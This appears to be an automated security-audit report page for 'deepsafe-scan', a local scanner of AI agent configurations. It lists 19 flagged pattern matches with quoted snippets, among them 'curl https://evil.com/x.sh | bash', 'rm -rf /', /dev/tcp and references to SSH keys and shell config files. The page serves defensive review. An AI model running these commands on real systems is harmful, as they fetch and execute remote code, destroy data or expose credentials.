ClawAudit verdict
deepsafe-scan
Security scanner that runs Python scripts locally to audit the user's own AI agent configuration; executionSinkDetected reflects the documented scanning scripts and the behavior is entirely local with no outbound data exfiltration evident.
⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.
Automated static analysis — not a human review. ClawAudit flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.
Permission integrity
agent_memory
Findings (19)
Accesses .ssh directory
demo/awesome-ai-rules/CLAUDE.md · code · .ssh/
Bash /dev/tcp — raw TCP connection via shell
README.md · prose · downgraded · /dev/tcp/
Pipe to sh — executes piped content as shell commands
README.md · prose · downgraded · |sh
Pipe to python — executes piped content as Python code
scripts/scan.py · prose · downgraded · |python
Pipe-to-shell pattern (curl | sh) — supply chain attack vector
README.md · prose · downgraded · curl https://evil.com/x.sh \| bash
Recursive delete from root or home — destructive command
README.md · prose · downgraded · rm -rf /
Pipe to bash — executes piped content as shell commands
README.md · prose · downgraded · | bash
Accesses OpenClaw config/secrets directly
README.md · prose · downgraded · ~/.openclaw/openclaw.json
References agent configuration files
docs/plan-cross-platform-evolution.md · code · CLAUDE.md
References SSH/GPG private keys
scripts/scan.py · prose · downgraded · ssh-key
HTTP request to bare IP address — common in malicious payloads
scripts/probes/persuasion_probe.py · prose · downgraded · http://127.0.0.1
References child_process — can spawn system processes
scripts/scan.py · prose · downgraded · child_process
Reads files from sensitive system paths
scripts/scan.py · prose · downgraded · readFileSync|cat\s|fs\.read)|(?:curl|wget|fetch|http\.request|XMLHttpRequest|sen
Instructs covert action — may act without user awareness
scripts/scan.py · prose · downgraded · silently
Accesses shell history/config
scripts/scan.py · prose · downgraded · ~/.zshrc
Python os.environ.get — reads environment variable
scripts/llm_client.py · prose · downgraded · os.environ.get(
Popular HTTP library — network access
scripts/probes/persuasion_probe.py · prose · downgraded · got
Base64 encoding/decoding
scripts/scan.py · prose · downgraded · base64-encode
Uses XMLHttpRequest — network access
scripts/scan.py · prose · downgraded · XMLHttpRequest
Why the tier is capped
Execution sink present in raw bytes (Hard Floor: class A/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.
Permissions & capabilities
No declared permissions — minimal attack surface.
agent_memory Is this flag fair?
Thanks — recorded.